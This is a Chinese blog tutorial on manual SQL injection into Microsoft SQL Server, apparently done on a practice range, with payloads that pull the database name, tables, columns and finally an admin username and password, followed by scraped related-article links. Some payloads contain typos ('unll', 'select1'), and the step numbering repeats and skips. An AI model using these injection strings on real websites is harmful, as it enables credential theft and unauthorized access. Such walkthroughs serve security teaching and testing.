前言

首先要对sql server进行初步的了解。
常用的全部变量
@@version:返回当前的Sql server安装的版本、处理器体系结构、生成日期和操作系统。
@@servername:放回运行Sql server的本地服务器名称
top
在sql server,没有MySQL中的limit控制符,如果实现limit控制符功能则可以使用top进行代替。

正文

如果对方网站管理员没有关闭错误消息提示,那么

;declare @d int        //判断sql server 支持多行语句查询

and (select count(1) from [sysobjects])>=0    //是否支持子查询

and user >0            //获取当前数据库用户名

and db_name>0    //获取当前数据库名称

and (select count(1) from [sysobjects])>=0   //当前数据库名

and 1=(select @@servername)        //本地服务名

这里就不一一列举了。

如果网站管理员关闭了错误提示,那就只能使用联合查询和盲注了。下面的靶场实例就是关闭错误页面提示的情况下,通过联合查询获得管理员账号和密码。

第一步,判断注入点

通过观察,发现公告的地方可以进行尝试,如下图

点击公告,然后咱们 通过 and 1=1 和and 1=2 发现报错, 说明这里是注入点。如下图

第二步,判断字段数

通过 order by 语句,发现 order by 4 返回正常,order by 5 报错,说明存在四个字段数,如下图。

第三步,爆库

使用联合查询,需要注意的是,使用联合查询时需要前面不可查询,可以将参数2改为-2,也可以构造 and 1=2 两种方式都可以。为了避免出现错误,四个字段,都用 null 代替,构造如下语句

  1. union all select null,null,unll,unll

然后用数字依次代替,判断回显位置,发现第二个字段显示在页面中,将第二个null 替换为 (select db_name()),具体语句为

  1. union all select 1,(select db_name()), null, null

结果为下图,爆出了数据库

第四步,爆表

知道数据库名后,构造如下语句,爆出表名

  1. union all select 1,(select top 1 name from 库名.dbo.sysobjects where xtype='u'), null,null

结果如下图

第五步,爆字段

通过构造如下语句,可以爆出所有字段,

  1. union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects), null,null

结果如下图

第六步,获取数据

通过构造如下语句

  1. union all select 1,(select top 1 username from manage),null,null
  2.  
  3. union all select 1,(select top 1 password from manage),null,null

结果如下图

第七步,解密,登陆。实战结束

sql server(mssql)手工注入总结

第一步,判断注入点。通过 and 1=1 和and 1=2 判断,发现存在注入点,且为数据型。

第二步,判断字段数 通过 order by 语句。

第三步,判断回显位置 通过 union all select null,null,unll,unll  用数字依次替换,发现,第二个位置回显到页面上。

第三步,爆库,通过 union all select 1,(select db_name()), null, null (使用联合查询时,要使得前面不可查询,所以将2改为-2)

第四步,爆表,通过 union all select 1,(select top 1 name from 库名.dbo.sysobjects where xtype='u'), null,null

第五步,爆字段,通过 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects), null,null (变换后面得数字1,可以查询出所有字段)
第七步,获取数据,通过 union all select1, (select top 1 字段 from 表名),null,null
第八步,解密,登陆。

手工注入——sql server (mssql)注入实战和分析的更多相关文章

  1. sql server(mssql)联合注入

    sql server(mssql)联合注入 sql server简介: SQL Server 是Microsoft 公司推出的关系型数据库管理系统.具有使用方便可伸缩性好与相关软件集成程度高等优点,可 ...

  2. sql System.Data.SqlClient.SqlError: 无法覆盖文件 'C:\Program Files\Microsoft SQL Server\MSSQL\data\itsm_Data.MDF'。数据库 'my1' 正在使用该文件的解决方案

    对数据库备份进行还原时遇到“sql System.Data.SqlClient.SqlError: 无法覆盖文件 'C:\Program Files\Microsoft SQL Server\MSSQ ...

  3. SQL Server 性能优化实战系列(二)

    SQL Server datetime数据类型设计.优化误区 一.场景 在SQL Server 2005中,有一个表TestDatetime,其中Dates这个字段的数据类型是datetime,如果你 ...

  4. windows系统与SQL SERVER 2008数据库服务性能监控分析简要

    软件系统性能测试体系流程介绍之windows系统与SQL SERVER 2008数据库服务性能监控分析简要 目前大部分测试人员对操作系统资源.中间件.数据库等性能监控分析都是各自分析各自的监控指标方式 ...

  5. SQL Server 性能优化实战系列(一)

    数据库服务器主要用于存储.查询.检索企业内部的信息,因此需要搭配专用的数据库系统,对服务器的兼容性.可靠性和稳定性等方面都有很高的要求.        下面是进行笼统的技术点说明,为的是让大家有一个整 ...

  6. iBatis + SQL Server 项目开发实战小结

    几年前跟随项目经理做的一个ERP小项目,自己业余时间整理的开发手册,供参考. 开发环境配置:编程环境为Microsoft Visual Studio 2010,数据库是SQL Server 2008 ...

  7. sql server 数据分析优化实战(一)——SQL语句优化

    前言 在我们进行数据分析的时候,首要的目标是根据业务逻辑,通过编写SQL代码得到我们想要的结果,这是毋庸置疑的.一般情况下,由于我们分析的数据量比较少,体会不出SQL语句各种写法的性能优劣,对SQL代 ...

  8. SQL Server磁盘I/O性能分析

    SQL Server中的I/O操作类型: 1.对于内存中没有缓存的数据,第一次访问时需要将数据从所在的页面从数据文件中读取到内存中 2.在任何Insert/Update/Delete提交前,SQL S ...

  9. SQL Server 2012 列存储索引分析(翻译)

    一.概述 列存储索引是SQL Server 2012中为提高数据查询的性能而引入的一个新特性,顾名思义,数据以列的方式存储在页中,不同于聚集索引.非聚集索引及堆表等以行为单位的方式存储.因为它并不要求 ...

随机推荐

  1. IEEE1588 PTP对时系统原理及特点

    IEEE1588 PTP对时系统原理及特点 随着网络技术的快速发展,以太网的定时同步精度也在不断入提高,为了适应网络技术的变化,人们开发出了NTP网络时间协议来提高各网络设备的定时同步功能,但在一些对 ...

  2. 【工具】---- webpack简析

    1. 什么是webpack 一个现代 JavaScript 应用程序的静态模块打包器(module bundler),它会分析你的项目结构,找到JavaScript模块以及其它的一些浏览器不能直接运行 ...

  3. Jenkins构建项目帮助文档

    Jenkins构建项目帮助文档 主要步骤 一.配置jdk 1.1.   下载jdk,安装到自己电脑磁盘的Java目录下(比如:D:\Java\jdk). 1.2.   Jdk环境变量的配置: 1. 鼠 ...

  4. 【PG】Greenplum-db-6.2.1的安装部署

    目录 1配置host文件(所有节点) 2 配置用户 3 配置/etc/sysctl.conf文件 4 limit文件,后面添加[不影响安装] 5 安装greenplum-db-6.2.1-rhel7- ...

  5. Vue2.0 【第三季】第2节 computed Option 计算选项

    目录 Vue2.0 [第三季]第2节 computed Option 计算选项 第2节 computed Option 计算选项 一.格式化输出结果 二.用计算属性反转数组 Vue2.0 [第三季]第 ...

  6. js 任意值变化封装

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...

  7. py123第一次作业

      绘制五角星<br>import turtle turtle.setup(600,350,200,200) turtle.pensize(2) turtle.pencolor(" ...

  8. CentOS7采用tar.gz包方式安装Mysql5.7

    软件:VMware Linux版本:CentOS 7 一.安装mysql(采用tar.gz包安装Mysql5.7) 1.安装开发工具包 [root@localhost ~]# yum groups m ...

  9. JavaScript 原型与继承

    JavaScript 原型与继承 JavaScript 中函数原型是实现继承的基础.prototype.construct.原型链以及基于原型链的继承是面向对象的重要内容 prototype 原型即 ...

  10. atomic的底层实现

    atomic操作 在编程过程中我们经常会使用到原子操作,这种操作即不想互斥锁那样耗时,又可以保证对变量操作的原子性,常见的原子操作有fetch_add.load.increment等. 而对于atom ...